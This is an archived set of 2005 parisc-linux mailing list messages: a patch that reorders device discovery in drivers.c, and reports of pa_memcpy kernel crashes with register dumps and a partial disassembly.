http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@levanta.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cvs head arch/parisc/kernel/drivers.c issues
Date: Mon, 1 Aug 2005 15:53:10 +0100
Lines: 121
Approved: news@gmane.org
Message-ID: <20050801145310.GJ5500@levanta.com>
References: <20050730231056.GC5500@levanta.com>
	<20050731061254.GG21753@roadwarrior.mcmartin.ca>
	<20050731090005.GD5500@levanta.com>
	<20050731193229.GE5500@levanta.com>
	<20050731193821.GI21753@roadwarrior.mcmartin.ca>
	<20050731200144.GF5500@levanta.com>
	<20050731202338.GK21753@roadwarrior.mcmartin.ca>
	<20050731202709.GL21753@roadwarrior.mcmartin.ca>
	<20050801134844.GI5500@levanta.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="wxDdMuZNg1r63Hyj"
X-Trace: ger.gmane.org 1416623876 15915 80.91.229.3 (22 Nov 2014 02:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:56 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 14:53:19 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx038) with SMTP; 01 Aug 2005 16:53:19 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F8497D6D1;
	Mon,  1 Aug 2005 08:53:17 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11374-05; Mon, 1 Aug 2005 08:53:16 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D991F7D6CE;
	Mon,  1 Aug 2005 08:53:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B6E67D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 08:53:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11226-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 08:53:12 -0600 (MDT)
Original-Received: from sleepie.demon.co.uk (sleepie-adsl.demon.co.uk [83.104.228.241])
	by free.linux.hp.com (Postfix) with ESMTP id B1FEE7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 08:53:11 -0600 (MDT)
Original-Received: by sleepie.demon.co.uk (Postfix, from userid 1000)
	id C1AD027B68B; Mon,  1 Aug 2005 15:53:10 +0100 (BST)
Content-Disposition: inline
In-Reply-To: <20050801134844.GI5500@levanta.com>
User-Agent: Mutt/1.4.2i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: N1KcYpQieSEkVL6WZHQhaXN1IGRvb8CO
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23006


--wxDdMuZNg1r63Hyj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

The attached patch fixes 'Found devices' order to display parents before
children.  It's still not ideal, as the children are not reported in
numerical order but I don't see a clean way to fix that.

I included the patch to remove the check_dev() call from match_by_id()
too; that still seems like the right thing to do to me.

My C360 now reports:

Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0xf, 0x580, 0x0000b }
2. Dino PCI Bridge at 0xf2000000 [8/0] { 13, 0x3, 0x680, 0x0000a },  additional 
3. Raven U/L2 Dino RS-232 at 0xf2003000 [8/0/63] { 10, 0x0, 0x006, 0x0008c }
4. Raven+ w SE FWSCSI Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x056, 0x00081 }, 
5. Raven+ w SE FWSCSI Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x056, 0x00}
6. Raven+ w SE FWSCSI Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x056, 0x0008}
7. Raven+ w SE FWSCSI Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x056,  
8. Raven+ w SE FWSCSI Core Audio at 0xffd04000 [8/16/1] { 10, 0x4, 0x056, 0x000}
9. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x056, 0}
10. Raven+ w SE FWSCSI Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x056, }
11. U2-IOA BC GSC+ Port at 0xf203f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
12. Raven U/L2 Dino PS/2 Port at 0xf2001000 [8/1] { 10, 0x0, 0x006, 0x00096 }
13. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0xf, 0x580, 0x0000b }
14. U2-IOA BC GSC+ Port at 0xf103f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
15. Cujo PCI Bridge at 0xf1000000 [10/0] { 13, 0x1, 0x682, 0x0000a },  addition 
16. Dino RS-232 at 0xf1003000 [10/3] { 10, 0x0, 0x007, 0x0008c }
17. Raven W 360 (9000/780) at 0xfffa0000 [32] { 0, 0x0, 0x5c6, 0x00004 }
18. Memory at 0xfffb1000 [49] { 1, 0x0, 0x097, 0x00009 }


Richard


--wxDdMuZNg1r63Hyj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename=ddd

Index: arch/parisc/kernel/drivers.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/drivers.c,v
retrieving revision 1.25
diff -u -r1.25 drivers.c
--- arch/parisc/kernel/drivers.c	26 Jul 2005 23:55:47 -0000	1.25
+++ arch/parisc/kernel/drivers.c	1 Aug 2005 14:45:26 -0000
@@ -59,19 +59,11 @@
 static int descend_children(struct device * dev, void * data)
 {
 	struct recurse_struct * recurse_data = (struct recurse_struct *)data;
-	int ret;
 
-	/*
-	 * First, descend down the tree.
-	 */
-	ret = device_for_each_child(dev, recurse_data, descend_children);
-	if (ret)
-		return ret;
-
-	/*
-	 * Now, iterate over the children and call the function.
-	 */
-	return device_for_each_child(dev, recurse_data->obj, recurse_data->fn);
+	if (recurse_data->fn(dev, recurse_data->obj))
+		return 1;
+	else
+		return device_for_each_child(dev, recurse_data, descend_children);
 }
 
 /**
@@ -80,7 +72,8 @@
  *	@data:	Data to pass to the called function.
  *
  *	This performs a depth-first traversal of the tree, calling the
- *	function passed for each node.
+ *	function passed for each node.  It calls the function for parents
+ *	before children.
  */
 
 static int for_each_padev(int (*fn)(struct device *, void *), void * data)
@@ -89,7 +82,7 @@
 		.obj	= data,
 		.fn	= fn,
 	};
-	return descend_children(&root, &recurse_data);
+	return device_for_each_child(&root, &recurse_data, descend_children);
 }
 
 /**
@@ -448,11 +441,9 @@
 	struct parisc_device * pdev = to_parisc_device(dev);
 	struct match_id_data * d = data;
 
-	if (check_dev(pdev)) {
-		if (pdev->hw_path == d->id) {
-			d->dev = pdev;
-			return 1;
-		}
+	if (pdev->hw_path == d->id) {
+		d->dev = pdev;
+		return 1;
 	}
 	return 0;
 }

--wxDdMuZNg1r63Hyj
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--wxDdMuZNg1r63Hyj--



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pa_memcpy kernel crashing testcase == "glibc +nptl
	+testsuite", and some tests.
Date: Mon, 1 Aug 2005 11:15:12 -0400
Lines: 127
Approved: news@gmane.org
Message-ID: <20050801151506.GW9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623876 15917 80.91.229.3 (22 Nov 2014 02:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 15:15:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx062) with SMTP; 01 Aug 2005 17:15:26 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F7E77D6E4;
	Mon,  1 Aug 2005 09:15:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11970-01; Mon, 1 Aug 2005 09:15:20 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ADF177D6CC;
	Mon,  1 Aug 2005 09:15:19 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E33C87D696
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 09:15:14 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11644-08 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 09:15:14 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 030F67D67A
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 09:15:14 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1Dzc0W-0004MH-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 01 Aug 2005 11:15:12 -0400
Content-Disposition: inline
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility.
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2FmcYjgyeSEkTL6WZHQhaXN1IGRvb8Ca
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23007


parisc,

Luckily I found an excellent testcase that crashes the kernel *every*
time, thus enabling me to test a patch from Randolph to see if the
recent stability issues could be fixed.

Kernel 2.6.13-rc3-pa0
gcc version 3.3.6 (Debian 1:3.3.6-7)

64-bit kernel, UP, on an a500 (PA8700) with 1.5GB of RAM.
Running the glibc testsuite with NPTL enabled causes the machine
to consistently HPMC.
---------------------------------------------------------------------
Backtrace:
 [<000000001032d994>] copy_to_user+0x34/0x40
 [<0000000010172284>] sys_timer_create+0x294/0x8c8
 [<0000000010184d04>] compat_sys_timer_create+0x74/0xa8
 [<0000000010107f8c>] syscall_exit+0x0/0x14


Kernel Fault: Code=15 regs=00000000484cc480 (Addr=00000000c064cb48)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000010677e28 000000001032d994 0000000000000000
r04-07  00000000106dfc00 0000000060e59e80 0000000000000000 00000000c064cb48
r08-11  00000000484cc190 0000000000000001 00000000000e8608 0000000000000000
r12-15  00000000000e8648 00000000000e88e8 00000000000aa000 00000000000eac08
r16-19  00000000000ecc08 00000000000e8648 0000000000000000 0000000000000000
r20-23  00000000484cc000 00000000484cc280 00000000484cc281 00000000c064cb48
r24-27  0000000000000004 00000000484cc280 00000000c064cb48 00000000106dfc00
r28-31  0000000000000000 00000000c064cb48 00000000484cc480 0000000000000004
sr0-3   0000000002014000 0000000000000000 0000000000000000 0000000002014000
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  00000000101f7be4 00000000000000fa 0000000012623c18 0000000000000000
fr08-11  00000000106dfc00 0000000000000002 00000000106dfc00 0000000000000802
fr12-15  000f41fa2f2149c0 0000000000000020 fffffffffffffc18 0000000000000000
fr16-19  000000001019baa0 00000000125c7000 00000000101cb07c 00000000125c7000
fr20-23  00000000125c7000 0000000000000000 0000000000000043 0000000000000228
fr24-27  000fb909ffe5cb9a 3fe0000000000000 412e848000000000 00000000125c7000
fr28-31  0000000000001000 00000000106dfc00 000000001077f240 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001032d678 000000001032d67c
 IIR: 0fb39222    ISR: 0000000000000000  IOR: 00000000c064cb48
 CPU:        0   CR30: 00000000484cc000 CR31: 00000000106a0000
 ORIG_R28: 00000000106dfc00
 IAOQ[0]: pa_memcpy+0x178/0x32c
 IAOQ[1]: pa_memcpy+0x17c/0x32c
 RP(r2): copy_to_user+0x34/0x40
Kernel panic - not syncing: Kernel Fault
---------------------------------------------------------------------

Applying Randolph's patch to remove fpregs and the double word copies
using thos registers can be found at:
http://www.parisc-linux.org/~tausq/fpreg.diff

Same kernel with that patch applied still crash.

This can mean any number of things, but it could mean:

a. There is another path in the kernel code corrupting fp registers.
b. The optimal pa_memcpy is too optimal and exposes other bugs?

I think that 'a.' is the most plausible.
Any thoughts about catching the culprit?

Cheers,
Carlos.

NOTE:
Even with Randolph's patch the following functions use fpregs heavily:
__muldi3 : Heavy fpregs usage
__divdi3 : "
__moddi3 : "
__udivdi3 : "
__umoddi3 : "

The following functions save/restore fpregs:
linux_gateway_entry - Save fpregs
_switch_to - Save fpregs
_switch_to_ret - Restore fpregs
intr_restore - Restore fpregs
L4^B1 - Save fpregs?
L4^B2 - Save fpregs?
syscall_restore - Load fpregs

The following functions have a weird sequence involving fr31R?
schedule
    1010e8c4:   68 d4 00 98     stw r20,4c(r6)
    1010e8c8:   5c df 00 9a     fldw 4c(r6),fr31R
    1010e8cc:   00 13 18 60     mtsm r19
io_schedule
    10110d14:   68 d3 24 88     stw r19,1244(r6)
    10110d18:   5c df 24 8a     fldw 1244(r6),fr31R
    10110d1c:   00 14 18 60     mtsm r20
__down_read
__down_write
sys_ptrace
load_elf_binary
dev_ifname32
sched_setaffinity
get_task_mm
copy_mm
copy_fs_struct
copy_files
unshare_files
copy_process
profile_hit
release_task
daemonize
get_file_struct
...
And many more. This load to fr31R is discarded and never used.


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pa_memcpy kernel crashing testcase == "glibc +nptl
	+testsuite", and some tests.
Date: Mon, 1 Aug 2005 12:42:54 -0400
Lines: 245
Approved: news@gmane.org
Message-ID: <20050801164250.GX9703@systemhalted.org>
References: <20050801151506.GW9703@systemhalted.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623876 15918 80.91.229.3 (22 Nov 2014 02:37:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:37:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:24 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 01 Aug 2005 16:43:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx066) with SMTP; 01 Aug 2005 18:43:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D80CE7D6EA;
	Mon,  1 Aug 2005 10:43:07 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12171-08; Mon, 1 Aug 2005 10:43:07 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C4A187D6EE;
	Mon,  1 Aug 2005 10:43:06 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A84897D6E8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 10:43:02 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12166-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 1 Aug 2005 10:43:02 -0600 (MDT)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id 24B177D6E7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon,  1 Aug 2005 10:43:01 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1DzdNO-0005Co-00 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 01 Aug 2005 12:42:54 -0400
Content-Disposition: inline
In-Reply-To: <20050801151506.GW9703@systemhalted.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (37% Sync Ratio [====......])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dzScYr1aeSEkML6WZHQhaXN1IGRvb4DA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23008

parisc,

Another crash. Remember in the compat case that the source and destination
addresses may have sr's both set to zero since you are copying into a 
temporary kernel structure.

Backtrace:
 [<0000000010325ef4>] copy_to_user+0x34/0x40
 [<00000000101711dc>] sys_timer_create+0x294/0x8c8
 [<00000000101836f4>] compat_sys_timer_create+0x74/0xa8
 [<0000000010107f8c>] syscall_exit+0x0/0x14


Kernel Fault: Code=15 regs=0000000058fa0480 (Addr=00000000bffd6b48)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 0000000010669a08 0000000010325ef4 0000000000000000
r04-07  00000000106d3ac0 0000000058f76e80 0000000000000000 00000000bffd6b48
r08-11  0000000058fa0190 0000000000000001 00000000000e8608 0000000000000000
r12-15  00000000000e8648 00000000000e88e8 00000000000aa000 00000000000eac08
r16-19  00000000000ecc08 00000000000e8648 0000000000000000 0000000000000000
r20-23  0000000058fa0000 0000000058fa0280 0000000058fa0281 00000000bffd6b48
r24-27  0000000000000004 0000000058fa0280 00000000bffd6b48 00000000106d3ac0
r28-31  0000000000000000 00000000bffd6b48 0000000058fa0480 0000000000000004
sr0-3   0000000000ae3800 0000000000000000 0000000000000000 0000000000ae3800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000 
fr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
fr04-07  00000000101f3d2c 00000000107575f8 0000000012603c18 0000000000000000
fr08-11  00000000106d3ac0 0000000000000002 00000000106d3ac0 0000000000000802
fr12-15  0000000010199b48 0000000000000020 00000000101c7cd4 00000000125ae000
fr16-19  00000000125ae000 0000000000000000 00000000106d3ac0 000f41fa2f8c1980
fr20-23  0000000000000020 00000000101c7cd4 0000000065378f74 000dae5bffe932bc
fr24-27  00000000001fec2c 3fe0000000000000 412e848000000000 00000000106d3ac0
fr28-31  000000006f8b3dc8 000000000000000b 0000000000000020 0000000000000043
  
IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000010325bd8 0000000010325bdc
 IIR: 0fb39222    ISR: 0000000000000000  IOR: 00000000bffd6b48
 CPU:        0   CR30: 0000000058fa0000 CR31: 0000000010694000
 ORIG_R28: 00000000107733e0     
 IAOQ[0]: pa_memcpy+0x118/0x2d0 
 IAOQ[1]: pa_memcpy+0x11c/0x2d0 
 RP(r2): copy_to_user+0x34/0x40 
Kernel panic - not syncing: Kernel Fault
 <0>Rebooting in 180 seconds..  


For the interested parties, here is a disassembly of pa_memcpy:


0000000010325ac0 <pa_memcpy>:
    10325ac0:	0f c2 12 c1 	std rp,-10(,sp)
    10325ac4:	37 de 01 00 	ldo 80(sp),sp
    10325ac8:	73 c8 3f 41 	std r8,-60(sp)
    10325acc:	73 c6 3f 51 	std r6,-58(sp)
    10325ad0:	73 c5 3f 61 	std r5,-50(sp)
    10325ad4:	73 c4 3f 71 	std r4,-48(sp)
    10325ad8:	73 c3 3f 81 	std r3,-40(sp)
    10325adc:	08 18 02 5f 	copy r24,r31
    10325ae0:	08 1a 02 57 	copy r26,r23
    10325ae4:	08 19 02 55 	copy r25,r21
    10325ae8:	08 19 02 56 	copy r25,r22
    10325aec:	ef 1e 81 b0 	cmpib,*>>= f,r24,10325bcc <pa_memcpy+0x10c>
    10325af0:	08 1a 02 5d 	copy r26,ret1
    10325af4:	0b 59 02 b4 	xor r25,r26,r20
    10325af8:	da 93 0b fd 	extrd,u r20,63,3,r19
    10325afc:	ee 60 a2 72 	cmpib,*<>,n 0,r19,10325c3c <pa_memcpy+0x17c>
    10325b00:	db 34 0b fd 	extrd,u r25,63,3,r20
    10325b04:	ee 80 a1 fa 	cmpib,*<>,n 0,r20,10325c08 <pa_memcpy+0x148>
    10325b08:	08 16 02 57 	copy r22,r23
    10325b0c:	34 1a 00 3e 	ldi 1f,r26
    10325b10:	bf 1a 80 d8 	cmpb,*>>= r26,r24,10325b84 <pa_memcpy+0xc4>
    10325b14:	08 1d 02 59 	copy ret1,r25
    10325b18:	0e e8 50 b6 	ldw,ma 4(sr1,r23),r22
    10325b1c:	da d6 0b e0 	extrd,u r22,63,32,r22
    10325b20:	0e e8 50 b5 	ldw,ma 4(sr1,r23),r21
    10325b24:	da b5 0b e0 	extrd,u r21,63,32,r21
    10325b28:	0e e8 50 b4 	ldw,ma 4(sr1,r23),r20
    10325b2c:	da 94 0b e0 	extrd,u r20,63,32,r20
    10325b30:	0e e8 50 b3 	ldw,ma 4(sr1,r23),r19
    10325b34:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325b38:	0f 36 92 a8 	stw,ma r22,4(sr2,r25)
    10325b3c:	0f 35 92 a8 	stw,ma r21,4(sr2,r25)
    10325b40:	0f 34 92 a8 	stw,ma r20,4(sr2,r25)
    10325b44:	0f 33 92 a8 	stw,ma r19,4(sr2,r25)
    10325b48:	0e e8 50 b6 	ldw,ma 4(sr1,r23),r22
    10325b4c:	da d6 0b e0 	extrd,u r22,63,32,r22
    10325b50:	0e e8 50 b5 	ldw,ma 4(sr1,r23),r21
    10325b54:	da b5 0b e0 	extrd,u r21,63,32,r21
    10325b58:	0e e8 50 b4 	ldw,ma 4(sr1,r23),r20
    10325b5c:	da 94 0b e0 	extrd,u r20,63,32,r20
    10325b60:	0e e8 50 b3 	ldw,ma 4(sr1,r23),r19
    10325b64:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325b68:	0f 36 92 a8 	stw,ma r22,4(sr2,r25)
    10325b6c:	0f 35 92 a8 	stw,ma r21,4(sr2,r25)
    10325b70:	0f 34 92 a8 	stw,ma r20,4(sr2,r25)
    10325b74:	0f 33 92 a8 	stw,ma r19,4(sr2,r25)
    10325b78:	37 18 3f c1 	ldo -20(r24),r24
    10325b7c:	9f 1a 9f 2d 	cmpb,*<< r26,r24,10325b18 <pa_memcpy+0x58>
    10325b80:	08 00 02 40 	nop
    10325b84:	ef 1e 80 78 	cmpib,*>>= f,r24,10325bc8 <pa_memcpy+0x108>
    10325b88:	08 17 02 56 	copy r23,r22
    10325b8c:	0e e8 50 b6 	ldw,ma 4(sr1,r23),r22
    10325b90:	da d6 0b e0 	extrd,u r22,63,32,r22
    10325b94:	0e e8 50 b5 	ldw,ma 4(sr1,r23),r21
    10325b98:	da b5 0b e0 	extrd,u r21,63,32,r21
    10325b9c:	0e e8 50 b4 	ldw,ma 4(sr1,r23),r20
    10325ba0:	da 94 0b e0 	extrd,u r20,63,32,r20
    10325ba4:	0e e8 50 b3 	ldw,ma 4(sr1,r23),r19
    10325ba8:	da 73 0b e0 	extrd,u r19,63,32,r19
    10325bac:	0f 36 92 a8 	stw,ma r22,4(sr2,r25)
